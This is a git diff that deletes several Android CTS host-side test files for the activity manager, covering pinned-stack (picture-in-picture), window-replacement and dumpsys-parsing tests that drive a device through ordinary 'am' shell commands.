-        mAmWmState.getWmState().getMatchingWindowState(windowName, mTempWindowList);
-
-        Assert.assertEquals("Should have exactly one window state for the activity.",
-                1, mTempWindowList.size());
-
-        mWindowState = mTempWindowList.get(0);
-        Assert.assertNotNull("Should have a valid window", mWindowState);
-
-        mDisplay = mAmWmState.getWmState().getDisplay(mWindowState.getDisplayId());
-        Assert.assertNotNull("Should be on a display", mDisplay);
-    }
-
-    private void verifyFrameSizeAndPosition(
-            int vGravity, int hGravity, int expectedWidthPx, int expectedHeightPx,
-            Rectangle containingFrame, Rectangle parentFrame) {
-        Assert.assertEquals("Width is incorrect", expectedWidthPx, containingFrame.width);
-        Assert.assertEquals("Height is incorrect", expectedHeightPx, containingFrame.height);
-
-        if (vGravity == GRAVITY_VER_TOP) {
-            Assert.assertEquals("Should be on the top", parentFrame.y, containingFrame.y);
-        } else if (vGravity == GRAVITY_VER_BOTTOM) {
-            Assert.assertEquals("Should be on the bottom",
-                    parentFrame.y + parentFrame.height, containingFrame.y + containingFrame.height);
-        }
-
-        if (hGravity == GRAVITY_HOR_LEFT) {
-            Assert.assertEquals("Should be on the left", parentFrame.x, containingFrame.x);
-        } else if (hGravity == GRAVITY_HOR_RIGHT){
-            Assert.assertEquals("Should be on the right",
-                    parentFrame.x + parentFrame.width, containingFrame.x + containingFrame.width);
-        }
-    }
-}
diff --git a/hostsidetests/services/activitymanager/src/android/server/cts/ActivityManagerPinnedStackTests.java b/hostsidetests/services/activitymanager/src/android/server/cts/ActivityManagerPinnedStackTests.java
deleted file mode 100644
index 7a691ec..0000000
--- a/hostsidetests/services/activitymanager/src/android/server/cts/ActivityManagerPinnedStackTests.java
+++ /dev/null
@@ -1,88 +0,0 @@
-/*
- * Copyright (C) 2016 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License
- */
-
-package android.server.cts;
-
-import java.lang.Exception;
-import java.lang.String;
-
-public class ActivityManagerPinnedStackTests extends ActivityManagerTestBase {
-    private static final String PIP_ACTIVITY = "PipActivity";
-    private static final String AUTO_ENTER_PIP_ACTIVITY = "AutoEnterPipActivity";
-    private static final String ALWAYS_FOCUSABLE_PIP_ACTIVITY = "AlwaysFocusablePipActivity";
-    private static final String LAUNCH_INTO_PINNED_STACK_PIP_ACTIVITY =
-            "LaunchIntoPinnedStackPipActivity";
-
-    public void testEnterPictureInPictureMode() throws Exception {
-        pinnedStackTester(AUTO_ENTER_PIP_ACTIVITY, AUTO_ENTER_PIP_ACTIVITY, false, false);
-    }
-
-    public void testMoveTopActivityToPinnedStack() throws Exception {
-        pinnedStackTester(PIP_ACTIVITY, PIP_ACTIVITY, true, false);
-    }
-
-    public void testAlwaysFocusablePipActivity() throws Exception {
-        pinnedStackTester(ALWAYS_FOCUSABLE_PIP_ACTIVITY, ALWAYS_FOCUSABLE_PIP_ACTIVITY, true, true);
-    }
-
-    public void testLaunchIntoPinnedStack() throws Exception {
-        pinnedStackTester(
-                LAUNCH_INTO_PINNED_STACK_PIP_ACTIVITY, ALWAYS_FOCUSABLE_PIP_ACTIVITY, false, true);
-    }
-
-    private void pinnedStackTester(String startActivity, String topActivityName,
-            boolean moveTopToPinnedStack, boolean isFocusable) throws Exception {
-
-        executeShellCommand(getAmStartCmd(startActivity));
-        if (moveTopToPinnedStack) {
-            executeShellCommand(AM_MOVE_TOP_ACTIVITY_TO_PINNED_STACK_COMMAND);
-        }
-
-        mAmWmState.waitForValidState(mDevice, true, new String[] {topActivityName},
-                new int[] {PINNED_STACK_ID}, false /* compareTaskAndStackBounds */);
-        mAmWmState.computeState(mDevice, null);
-
-        if (supportsPip()) {
-            final String windowName = getWindowName(topActivityName);
-            mAmWmState.assertContainsStack("Must contain pinned stack.", PINNED_STACK_ID);
-            mAmWmState.assertFrontStack("Pinned stack must be the front stack.", PINNED_STACK_ID);
-            mAmWmState.assertVisibility(topActivityName, true);
-
-            if (isFocusable) {
-                mAmWmState.assertFocusedStack(
-                        "Pinned stack must be the focused stack.", PINNED_STACK_ID);
-                mAmWmState.assertFocusedActivity(
-                        "Pinned activity must be focused activity.", topActivityName);
-                mAmWmState.assertFocusedWindow(
-                        "Pinned window must be focused window.", windowName);
-                // Not checking for resumed state here because PiP overlay can be launched on top
-                // in different task by SystemUI.
-            } else {
-                mAmWmState.assertNotFocusedStack(
-                        "Pinned stack can't be the focused stack.", PINNED_STACK_ID);
-                mAmWmState.assertNotFocusedActivity(
-                        "Pinned activity can't be the focused activity.", topActivityName);
-                mAmWmState.assertNotResumedActivity(
-                        "Pinned activity can't be the resumed activity.", topActivityName);
-                mAmWmState.assertNotFocusedWindow(
-                        "Pinned window can't be focused window.", windowName);
-            }
-        } else {
-            mAmWmState.assertDoesNotContainStack(
-                    "Must not contain pinned stack.", PINNED_STACK_ID);
-        }
-    }
-}
diff --git a/hostsidetests/services/activitymanager/src/android/server/cts/ActivityManagerReplaceWindowTests.java b/hostsidetests/services/activitymanager/src/android/server/cts/ActivityManagerReplaceWindowTests.java
deleted file mode 100644
index c877cb8..0000000
--- a/hostsidetests/services/activitymanager/src/android/server/cts/ActivityManagerReplaceWindowTests.java
+++ /dev/null
@@ -1,102 +0,0 @@
-/*
- * Copyright (C) 2016 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-package android.server.cts;
-
-import java.lang.Exception;
-import java.lang.String;
-import java.util.ArrayList;
-import java.util.List;
-import java.util.regex.Matcher;
-import java.util.regex.Pattern;
-import junit.framework.Assert;
-
-import static com.android.ddmlib.Log.LogLevel.INFO;
-
-import com.android.tradefed.device.DeviceNotAvailableException;
-import com.android.tradefed.log.LogUtil.CLog;
-
-public class ActivityManagerReplaceWindowTests extends ActivityManagerTestBase {
-
-    private static final String SLOW_CREATE_ACTIVITY_NAME = "SlowCreateActivity";
-    private static final String NO_RELAUNCH_ACTIVITY_NAME = "NoRelaunchActivity";
-
-    private static final String AM_MOVE_TASK = "am stack movetask ";
-
-    private List<String> mTempWindowTokens = new ArrayList();
-
-    public void testReplaceWindow_Dock_Relaunch() throws Exception {
-        testReplaceWindow_Dock(true);
-    }
-
-    public void testReplaceWindow_Dock_NoRelaunch() throws Exception {
-        testReplaceWindow_Dock(false);
-    }
-
-    private void testReplaceWindow_Dock(boolean relaunch) throws Exception {
-        if (!supportsSplitScreenMultiWindow()) {
-            CLog.logAndDisplay(INFO, "Skipping test: no split multi window support");
-            return;
-        }
-
-        final String activityName =
-                relaunch ? SLOW_CREATE_ACTIVITY_NAME : NO_RELAUNCH_ACTIVITY_NAME;
-        final String windowName = getWindowName(activityName);
-        final String amStartCmd = getAmStartCmd(activityName);
-
-        executeShellCommand(amStartCmd);
-
-        // Sleep 2 seconds, then check if the window is started properly.
-        // SlowCreateActivity will do a sleep inside its onCreate() to simulate a
-        // slow-starting app. So instead of relying on WindowManagerState's
-        // retrying mechanism, we do an explicit sleep to avoid excess spews
-        // from WindowManagerState.
-        if (SLOW_CREATE_ACTIVITY_NAME.equals(activityName)) {
-            Thread.sleep(2000);
-        }
-
-        CLog.logAndDisplay(INFO, "==========Before Docking========");
-        final String oldToken = getWindowToken(windowName, activityName, true);
-
-        // Move to docked stack
-        final int taskId = getActivityTaskId(activityName);
-        final String cmd = AM_MOVE_TASK + taskId + " " + DOCKED_STACK_ID + " true";
-        executeShellCommand(cmd);
-
-        // Sleep 5 seconds, then check if the window is replaced properly.
-        Thread.sleep(5000);
-
-        CLog.logAndDisplay(INFO, "==========After Docking========");
-        final String newToken = getWindowToken(windowName, activityName, false);
-
-        // For both relaunch and not relaunch case, we'd like the window to be kept.
-        Assert.assertEquals("Window replaced while docking.", oldToken, newToken);
-    }
-
-    private String getWindowToken(String windowName, String activityName, boolean visibleOnly)
-            throws Exception {
-        mAmWmState.computeState(mDevice, visibleOnly, new String[] {activityName});
-
-        mAmWmState.assertVisibility(activityName, true);
-
-        mAmWmState.getWmState().getMatchingWindowTokens(windowName, mTempWindowTokens);
-
-        Assert.assertEquals("Should have exactly one window for the activity.",
-                1, mTempWindowTokens.size());
-
-        return mTempWindowTokens.get(0);
-    }
-}
diff --git a/hostsidetests/services/activitymanager/src/android/server/cts/ActivityManagerState.java b/hostsidetests/services/activitymanager/src/android/server/cts/ActivityManagerState.java
deleted file mode 100644
index d392e00..0000000
--- a/hostsidetests/services/activitymanager/src/android/server/cts/ActivityManagerState.java
+++ /dev/null
@@ -1,632 +0,0 @@
-/*
- * Copyright (C) 2016 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License
- */
-
-package android.server.cts;
-
-import com.android.tradefed.device.CollectingOutputReceiver;
-import com.android.tradefed.device.DeviceNotAvailableException;
-import com.android.tradefed.device.ITestDevice;
-
-import java.awt.Rectangle;
-import java.lang.Integer;
-import java.lang.String;
-import java.util.ArrayList;
-import java.util.Collections;
-import java.util.LinkedList;
-import java.util.List;
-
-import java.util.regex.Pattern;
-import java.util.regex.Matcher;
-
-import static android.server.cts.ActivityManagerTestBase.HOME_STACK_ID;
-import static android.server.cts.StateLogger.log;
-import static android.server.cts.StateLogger.logE;
-
-class ActivityManagerState {
-    private static final String DUMPSYS_ACTIVITY_ACTIVITIES = "dumpsys activity activities";
-
-    // Copied from ActivityRecord.java
-    private static final int APPLICATION_ACTIVITY_TYPE = 0;
-    private static final int HOME_ACTIVITY_TYPE = 1;
-    private static final int RECENTS_ACTIVITY_TYPE = 2;
-
-    private final Pattern mDisplayIdPattern = Pattern.compile("Display #(\\d+)");
-    private final Pattern mStackIdPattern = Pattern.compile("Stack #(\\d+)\\:");
-    private final Pattern mFocusedActivityPattern =
-            Pattern.compile("mFocusedActivity\\: ActivityRecord\\{(.+) u(\\d+) (\\S+) (\\S+)\\}");
-    private final Pattern mFocusedStackPattern =
-            Pattern.compile("mFocusedStack=ActivityStack\\{(.+) stackId=(\\d+), (.+)\\}(.+)");
-
-    private final Pattern[] mExtractStackExitPatterns =
-            { mStackIdPattern, mFocusedActivityPattern, mFocusedStackPattern};
-
-    // Stacks in z-order with the top most at the front of the list.
-    private final List<ActivityStack> mStacks = new ArrayList();
-    private int mFocusedStackId = -1;
-    private String mFocusedActivityRecord = null;
-    private final List<String> mResumedActivities = new ArrayList();
-    private final LinkedList<String> mSysDump = new LinkedList();
-
-    void computeState(ITestDevice device) throws DeviceNotAvailableException {
-        // It is possible the system is in the middle of transition to the right state when we get
-        // the dump. We try a few times to get the information we need before giving up.
-        int retriesLeft = 3;
-        boolean retry = false;
-        String dump = null;
-
-        log("==============================");
-        log("     ActivityManagerState     ");
-        log("==============================");
-
-        do {
-            if (retry) {
-                log("***Incomplete AM state. Retrying...");
-                // Wait half a second between retries for activity manager to finish transitioning.
-                try {
-                    Thread.sleep(500);
-                } catch (InterruptedException e) {
-                    log(e.toString());
-                    // Well I guess we are not waiting...
-                }
-            }
-
-            final CollectingOutputReceiver outputReceiver = new CollectingOutputReceiver();
-            device.executeShellCommand(DUMPSYS_ACTIVITY_ACTIVITIES, outputReceiver);
-            dump = outputReceiver.getOutput();
-            parseSysDump(dump);
-
-            retry = mStacks.isEmpty() || mFocusedStackId == -1 || mFocusedActivityRecord == null
-                    || mResumedActivities.isEmpty();
-        } while (retry && retriesLeft-- > 0);
-
-        if (retry) {
-            log(dump);
-        }
-
-        if (mStacks.isEmpty()) {
-            logE("No stacks found...");
-        }
-        if (mFocusedStackId == -1) {
-            logE("No focused stack found...");
-        }
-        if (mFocusedActivityRecord == null) {
-            logE("No focused activity found...");
-        }
-        if (mResumedActivities.isEmpty()) {
-            logE("No resumed activities found...");
-        }
-    }
-
-    private void parseSysDump(String sysDump) {
-        reset();
-
-        Collections.addAll(mSysDump, sysDump.split("\\n"));
-
-        int currentDisplayId = 0;
-        while (!mSysDump.isEmpty()) {
-            final ActivityStack stack = ActivityStack.create(mSysDump, mStackIdPattern,
-                    mExtractStackExitPatterns, currentDisplayId);
-
-            if (stack != null) {
-                mStacks.add(stack);
-                if (stack.mResumedActivity != null) {
-                    mResumedActivities.add(stack.mResumedActivity);
-                }
-                continue;
-            }
-
-            final String line = mSysDump.pop().trim();
-
-            Matcher matcher = mFocusedStackPattern.matcher(line);
-            if (matcher.matches()) {
-                log(line);
-                final String stackId = matcher.group(2);
-                log(stackId);
-                mFocusedStackId = Integer.parseInt(stackId);
-                continue;
-            }
-
-            matcher = mFocusedActivityPattern.matcher(line);
-            if (matcher.matches()) {
-                log(line);
-                mFocusedActivityRecord = matcher.group(3);
-                log(mFocusedActivityRecord);
-                continue;
-            }
-
-            matcher = mDisplayIdPattern.matcher(line);
-            if (matcher.matches()) {
-                log(line);
-                final String displayId = matcher.group(2);
-                log(displayId);
-                currentDisplayId = Integer.parseInt(displayId);
-            }
-        }
-    }
-
-    private void reset() {
-        mStacks.clear();
-        mFocusedStackId = -1;
-        mFocusedActivityRecord = null;
-        mResumedActivities.clear();
-        mSysDump.clear();
-    }
-
-    int getFrontStackId() {
-        return mStacks.get(0).mStackId;
-    }
-
-    int getFocusedStackId() {
-        return mFocusedStackId;
-    }
-
-    String getFocusedActivity() {
-        return mFocusedActivityRecord;
-    }
-
-    String getResumedActivity() {
-        return mResumedActivities.get(0);
-    }
-
-    int getResumedActivitiesCount() {
-        return mResumedActivities.size();
-    }
-
-    boolean containsStack(int stackId) {
-        return getStackById(stackId) != null;
-    }
-
-    ActivityStack getStackById(int stackId) {
-        for (ActivityStack stack : mStacks) {
-            if (stackId == stack.mStackId) {
-                return stack;
-            }
-        }
-        return null;
-    }
-
-    List<ActivityStack> getStacks() {
-        return new ArrayList(mStacks);
-    }
-
-    int getStackCount() {
-        return mStacks.size();
-    }
-
-    boolean isActivityVisible(String activityName) {
-        for (ActivityStack stack : mStacks) {
-            for (ActivityTask task : stack.mTasks) {
-               for (Activity activity : task.mActivities) {
-                   if (activity.name.equals(activityName)) {
-                       return activity.visible;
-                   }
-               }
-            }
-        }
-        return false;
-    }
-
-    boolean isHomeActivityVisible() {
-        final Activity homeActivity = getHomeActivity();
-        return homeActivity != null && homeActivity.visible;
-    }
-
-    private Activity getHomeActivity() {
-        for (ActivityStack stack : mStacks) {
-            if (stack.mStackId != HOME_STACK_ID) {
-                continue;
-            }
-
-            for (ActivityTask task : stack.mTasks) {
-                if (task.mTaskType != HOME_ACTIVITY_TYPE) {
-                    continue;
-                }
-                return task.mActivities.get(task.mActivities.size() - 1);
-            }
-
-            return null;
-        }
-        return null;
-    }
-
-    ActivityTask getTaskByActivityName(String activityName) {
-        return getTaskByActivityName(activityName, -1);
-    }
-
-    ActivityTask getTaskByActivityName(String activityName, int stackId) {
-        String fullName = ActivityManagerTestBase.getActivityComponentName(activityName);
-        for (ActivityStack stack : mStacks) {
-            if (stackId == -1 || stackId == stack.mStackId) {
-                for (ActivityTask task : stack.mTasks) {
-                    for (Activity activity : task.mActivities) {
-                        if (activity.name.equals(fullName)) {
-                            return task;
-                        }
-                    }
-                }
-            }
-        }
-        return null;
-    }
-
-    static class ActivityStack extends ActivityContainer {
-
-        private static final Pattern TASK_ID_PATTERN = Pattern.compile("Task id #(\\d+)");
-        private static final Pattern RESUMED_ACTIVITY_PATTERN = Pattern.compile(
-                "mResumedActivity\\: ActivityRecord\\{(.+) u(\\d+) (\\S+) (\\S+)\\}");
-
-        int mDisplayId;
-        int mStackId;
-        String mResumedActivity;
-        ArrayList<ActivityTask> mTasks = new ArrayList();
-
-        private ActivityStack() {
-        }
-
-        static ActivityStack create(LinkedList<String> dump, Pattern stackIdPattern,
-                                    Pattern[] exitPatterns, int displayId) {
-            final String line = dump.peek().trim();
-
-            final Matcher matcher = stackIdPattern.matcher(line);
-            if (!matcher.matches()) {
-                // Not a stack.
-                return null;
-            }
-            // For the stack Id line we just read.
-            dump.pop();
-
-            final ActivityStack stack = new ActivityStack();
-            stack.mDisplayId = displayId;
-            log(line);
-            final String stackId = matcher.group(1);
-            log(stackId);
-            stack.mStackId = Integer.parseInt(stackId);
-            stack.extract(dump, exitPatterns);
-            return stack;
-        }
-
-        private void extract(LinkedList<String> dump, Pattern[] exitPatterns) {
-
-            final List<Pattern> taskExitPatterns = new ArrayList();
-            Collections.addAll(taskExitPatterns, exitPatterns);
-            taskExitPatterns.add(TASK_ID_PATTERN);
-            taskExitPatterns.add(RESUMED_ACTIVITY_PATTERN);
-            final Pattern[] taskExitPatternsArray =
-                    taskExitPatterns.toArray(new Pattern[taskExitPatterns.size()]);
-
-            while (!doneExtracting(dump, exitPatterns)) {
-                final ActivityTask task =
-                        ActivityTask.create(dump, TASK_ID_PATTERN, taskExitPatternsArray);
-
-                if (task != null) {
-                    mTasks.add(task);
-                    continue;
-                }
-
-                final String line = dump.pop().trim();
-
-                if (extractFullscreen(line)) {
-                    continue;
-                }
-
-                if (extractBounds(line)) {
-                    continue;
-                }
-
-                Matcher matcher = RESUMED_ACTIVITY_PATTERN.matcher(line);
-                if (matcher.matches()) {
-                    log(line);
-                    mResumedActivity = matcher.group(3);
-                    log(mResumedActivity);
-                    continue;
-                }
-            }
-        }
-
-        List<ActivityTask> getTasks() {
-            return new ArrayList(mTasks);
-        }
-
-        ActivityTask getTask(int taskId) {
-            for (ActivityTask task : mTasks) {
-                if (taskId == task.mTaskId) {
-                    return task;
-                }
-            }
-            return null;
-        }
-    }
-
-    static class ActivityTask extends ActivityContainer {
-        private static final Pattern TASK_RECORD_PATTERN = Pattern.compile("\\* TaskRecord\\"
-                + "{(\\S+) #(\\d+) (\\S+)=(\\S+) U=(\\d+) StackId=(\\d+) sz=(\\d+)\\}");
-
-        private static final Pattern LAST_NON_FULLSCREEN_BOUNDS_PATTERN = Pattern.compile(
-                "mLastNonFullscreenBounds=Rect\\((\\d+), (\\d+) - (\\d+), (\\d+)\\)");
-
-        private static final Pattern ORIG_ACTIVITY_PATTERN = Pattern.compile("origActivity=(\\S+)");
-        private static final Pattern REAL_ACTIVITY_PATTERN = Pattern.compile("realActivity=(\\S+)");
-
-        private static final Pattern ACTIVITY_NAME_PATTERN = Pattern.compile(
-                "\\* Hist #(\\d+)\\: ActivityRecord\\{(\\S+) u(\\d+) (\\S+) t(\\d+)\\}");
-
-        private static final Pattern TASK_TYPE_PATTERN = Pattern.compile("autoRemoveRecents=(\\S+) "
-                + "isPersistable=(\\S+) numFullscreen=(\\d+) taskType=(\\d+) "
-                + "mTaskToReturnTo=(\\d+)");
-
-        int mTaskId;
-        int mStackId;
-        Rectangle mLastNonFullscreenBounds;
-        String mRealActivity;
-        String mOrigActivity;
-        ArrayList<Activity> mActivities = new ArrayList();
-        int mTaskType = -1;
-        int mReturnToType = -1;
-
-        private ActivityTask() {
-        }
-
-        static ActivityTask create(
-                LinkedList<String> dump, Pattern taskIdPattern, Pattern[] exitPatterns) {
-            final String line = dump.peek().trim();
-
-            final Matcher matcher = taskIdPattern.matcher(line);
-            if (!matcher.matches()) {
-                // Not a task.
-                return null;
-            }
-            // For the task Id line we just read.
-            dump.pop();
-
-            final ActivityTask task = new ActivityTask();
-            log(line);
-            final String taskId = matcher.group(1);
-            log(taskId);
-            task.mTaskId = Integer.parseInt(taskId);
-            task.extract(dump, exitPatterns);
-            return task;
-        }
-
-        private void extract(LinkedList<String> dump, Pattern[] exitPatterns) {
-            final List<Pattern> activityExitPatterns = new ArrayList();
-            Collections.addAll(activityExitPatterns, exitPatterns);
-            activityExitPatterns.add(ACTIVITY_NAME_PATTERN);
-            final Pattern[] activityExitPatternsArray =
-                    activityExitPatterns.toArray(new Pattern[activityExitPatterns.size()]);
-
-            while (!doneExtracting(dump, exitPatterns)) {
-                final Activity activity =
-                        Activity.create(dump, ACTIVITY_NAME_PATTERN, activityExitPatternsArray);
-
-                if (activity != null) {
-                    mActivities.add(activity);
-                    continue;
-                }
-
-                final String line = dump.pop().trim();
-
-                if (extractFullscreen(line)) {
-                    continue;
-                }
-
-                if (extractBounds(line)) {
-                    continue;
-                }
-
-                if (extractMinimalSize(line)) {
-                    continue;
-                }
-
-                Matcher matcher = TASK_RECORD_PATTERN.matcher(line);
-                if (matcher.matches()) {
-                    log(line);
-                    final String stackId = matcher.group(6);
-                    mStackId = Integer.valueOf(stackId);
-                    log(stackId);
-                    continue;
-                }
-
-                matcher = LAST_NON_FULLSCREEN_BOUNDS_PATTERN.matcher(line);
-                if (matcher.matches()) {
-                    log(line);
-                    mLastNonFullscreenBounds = extractBounds(matcher);
-                }
-
-                matcher = REAL_ACTIVITY_PATTERN.matcher(line);
-                if (matcher.matches()) {
-                    if (mRealActivity == null) {
-                        log(line);
-                        mRealActivity = matcher.group(1);
-                        log(mRealActivity);
-                    }
-                    continue;
-                }
-
-                matcher = ORIG_ACTIVITY_PATTERN.matcher(line);
-                if (matcher.matches()) {
-                    if (mOrigActivity == null) {
-                        log(line);
-                        mOrigActivity = matcher.group(1);
-                        log(mOrigActivity);
-                    }
-                    continue;
-                }
-
-                matcher = TASK_TYPE_PATTERN.matcher(line);
-                if (matcher.matches()) {
-                    log(line);
-                    mTaskType = Integer.valueOf(matcher.group(4));
-                    mReturnToType = Integer.valueOf(matcher.group(5));
-                    continue;
-                }
-            }
-        }
-    }
-
-    static class Activity {
-        private static final Pattern VISIBILITY_PATTERN = Pattern.compile("keysPaused=(\\S+) "
-                + "inHistory=(\\S+) visible=(\\S+) sleeping=(\\S+) idle=(\\S+) "
-                + "mStartingWindowState=(\\S+)");
-        private static final Pattern FRONT_OF_TASK_PATTERN = Pattern.compile("frontOfTask=(\\S+) "
-                + "task=TaskRecord\\{(\\S+) #(\\d+) A=(\\S+) U=(\\d+) StackId=(\\d+) sz=(\\d+)\\}");
-
-        String name;
-        boolean visible;
-        boolean frontOfTask;
-
-        private Activity() {
-        }
-
-        static Activity create(
-                LinkedList<String> dump, Pattern activityNamePattern, Pattern[] exitPatterns) {
-            final String line = dump.peek().trim();
-
-            final Matcher matcher = activityNamePattern.matcher(line);
-            if (!matcher.matches()) {
-                // Not an activity.
-                return null;
-            }
-            // For the activity name line we just read.
-            dump.pop();
-
-            final Activity activity = new Activity();
-            log(line);
-            activity.name = matcher.group(4);
-            log(activity.name);
-            activity.extract(dump, exitPatterns);
-            return activity;
-        }
-
-        private void extract(LinkedList<String> dump, Pattern[] exitPatterns) {
-
-            while (!doneExtracting(dump, exitPatterns)) {
-                final String line = dump.pop().trim();
-
-                Matcher matcher = VISIBILITY_PATTERN.matcher(line);
-                if (matcher.matches()) {
-                    log(line);
-                    final String visibleString = matcher.group(3);
-                    visible = Boolean.valueOf(visibleString);
-                    log(visibleString);
-                    continue;
-                }
-
-                matcher = FRONT_OF_TASK_PATTERN.matcher(line);
-                if (matcher.matches()) {
-                    log(line);
-                    final String frontOfTaskString = matcher.group(1);
-                    frontOfTask = Boolean.valueOf(frontOfTaskString);
-                    log(frontOfTaskString);
-                    continue;
-                }
-            }
-        }
-    }
-
-    static abstract class ActivityContainer {
-        protected static final Pattern FULLSCREEN_PATTERN = Pattern.compile("mFullscreen=(\\S+)");
-        protected static final Pattern BOUNDS_PATTERN =
-                Pattern.compile("mBounds=Rect\\((\\d+), (\\d+) - (\\d+), (\\d+)\\)");
-        protected static final Pattern MIN_WIDTH_PATTERN =
-                Pattern.compile("mMinWidth=(\\d+)");
-        protected static final Pattern MIN_HEIGHT_PATTERN =
-                Pattern.compile("mMinHeight=(\\d+)");
-
-        protected boolean mFullscreen;
-        protected Rectangle mBounds;
-        protected int mMinWidth = -1;
-        protected int mMinHeight = -1;
-
-        boolean extractFullscreen(String line) {
-            final Matcher matcher = FULLSCREEN_PATTERN.matcher(line);
-            if (!matcher.matches()) {
-                return false;
-            }
-            log(line);
-            final String fullscreen = matcher.group(1);
-            log(fullscreen);
-            mFullscreen = Boolean.valueOf(fullscreen);
-            return true;
-        }
-
-        boolean extractBounds(String line) {
-            final Matcher matcher = BOUNDS_PATTERN.matcher(line);
-            if (!matcher.matches()) {
-                return false;
-            }
-            log(line);
-            mBounds = extractBounds(matcher);
-            return true;
-        }
-
-        static Rectangle extractBounds(Matcher matcher) {
-            final int left = Integer.valueOf(matcher.group(1));
-            final int top = Integer.valueOf(matcher.group(2));
-            final int right = Integer.valueOf(matcher.group(3));
-            final int bottom = Integer.valueOf(matcher.group(4));
-            final Rectangle rect = new Rectangle(left, top, right - left, bottom - top);
-
-            log(rect.toString());
-            return rect;
-        }
-
-        boolean extractMinimalSize(String line) {
-            final Matcher minWidthMatcher = MIN_WIDTH_PATTERN.matcher(line);
-            final Matcher minHeightMatcher = MIN_HEIGHT_PATTERN.matcher(line);
-
-            if (minWidthMatcher.matches()) {
-                log(line);
-                mMinWidth = Integer.valueOf(minWidthMatcher.group(1));
-            } else if (minHeightMatcher.matches()) {
-                log(line);
-                mMinHeight = Integer.valueOf(minHeightMatcher.group(1));
-            } else {
-                return false;
-            }
-            return true;
-        }
-
-        Rectangle getBounds() {
-            return mBounds;
-        }
-
-        boolean isFullscreen() {
-            return mFullscreen;
-        }
-
-        int getMinWidth() {
-            return mMinWidth;
-        }
-
-        int getMinHeight() {
-            return mMinHeight;
-        }
-    }
-
-    static boolean doneExtracting(LinkedList<String> dump, Pattern[] exitPatterns) {
-        if (dump.isEmpty()) {
-            return true;
-        }
-        final String line = dump.peek().trim();
-
-        for (Pattern pattern : exitPatterns) {
-            if (pattern.matcher(line).matches()) {
-                return true;
-            }
-        }
-        return false;
-    }
-}
diff --git a/hostsidetests/services/activitymanager/src/android/server/cts/ActivityManagerTestBase.java b/hostsidetests/services/activitymanager/src/android/server/cts/ActivityManagerTestBase.java
deleted file mode 100644
index 9b6bb8b..0000000
--- a/hostsidetests/services/activitymanager/src/android/server/cts/ActivityManagerTestBase.java
+++ /dev/null
@@ -1,642 +0,0 @@
-/*
- * Copyright (C) 2016 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License
- */
-
-package android.server.cts;
-
-import com.android.ddmlib.Log.LogLevel;
-import com.android.tradefed.device.CollectingOutputReceiver;
-import com.android.tradefed.device.DeviceNotAvailableException;
-import com.android.tradefed.device.ITestDevice;
-import com.android.tradefed.log.LogUtil.CLog;
-import com.android.tradefed.testtype.DeviceTestCase;
-
-import java.lang.Exception;
-import java.lang.Integer;
-import java.lang.String;
-import java.util.HashMap;
-import java.util.HashSet;
-import java.util.Map;
-import java.util.regex.Matcher;
-import java.util.regex.Pattern;
-
-import static android.server.cts.StateLogger.log;
-
-public abstract class ActivityManagerTestBase extends DeviceTestCase {
-    private static final boolean PRETEND_DEVICE_SUPPORTS_PIP = false;
-    private static final boolean PRETEND_DEVICE_SUPPORTS_FREEFORM = false;
-    private static final boolean PRETEND_DEVICE_SUPPORTS_DOCKING = false;
-    private static final boolean PRETEND_DEVICE_SUPPORTS_ROTATION = false;
-
-    // Constants copied from ActivityManager.StackId. If they are changed there, these must be
-    // updated.
-    /** First static stack ID. */
-    public static final int FIRST_STATIC_STACK_ID = 0;
-
-    /** Home activity stack ID. */
-    public static final int HOME_STACK_ID = FIRST_STATIC_STACK_ID;
-
-    /** ID of stack where fullscreen activities are normally launched into. */
-    public static final int FULLSCREEN_WORKSPACE_STACK_ID = 1;
-
-    /** ID of stack where freeform/resized activities are normally launched into. */
-    public static final int FREEFORM_WORKSPACE_STACK_ID = FULLSCREEN_WORKSPACE_STACK_ID + 1;
-
-    /** ID of stack that occupies a dedicated region of the screen. */
-    public static final int DOCKED_STACK_ID = FREEFORM_WORKSPACE_STACK_ID + 1;
-
-    /** ID of stack that always on top (always visible) when it exist. */
-    public static final int PINNED_STACK_ID = DOCKED_STACK_ID + 1;
-
-    private static final String TASK_ID_PREFIX = "taskId";
-
-    private static final String AM_STACK_LIST = "am stack list";
-
-    private static final String AM_FORCE_STOP_TEST_PACKAGE = "am force-stop android.server.app";
-
-    private static final String AM_REMOVE_STACK = "am stack remove ";
-
-    protected static final String AM_START_HOME_ACTIVITY_COMMAND =
-            "am start -a android.intent.action.MAIN -c android.intent.category.HOME";
-
-    protected static final String AM_MOVE_TOP_ACTIVITY_TO_PINNED_STACK_COMMAND =
-            "am stack move-top-activity-to-pinned-stack 1 0 0 500 500";
-
-    protected static final String LAUNCHING_ACTIVITY = "LaunchingActivity";
-
-    private static final String AM_RESIZE_DOCKED_STACK = "am stack resize-docked-stack ";
-
-    private static final String AM_MOVE_TASK = "am stack movetask ";
-
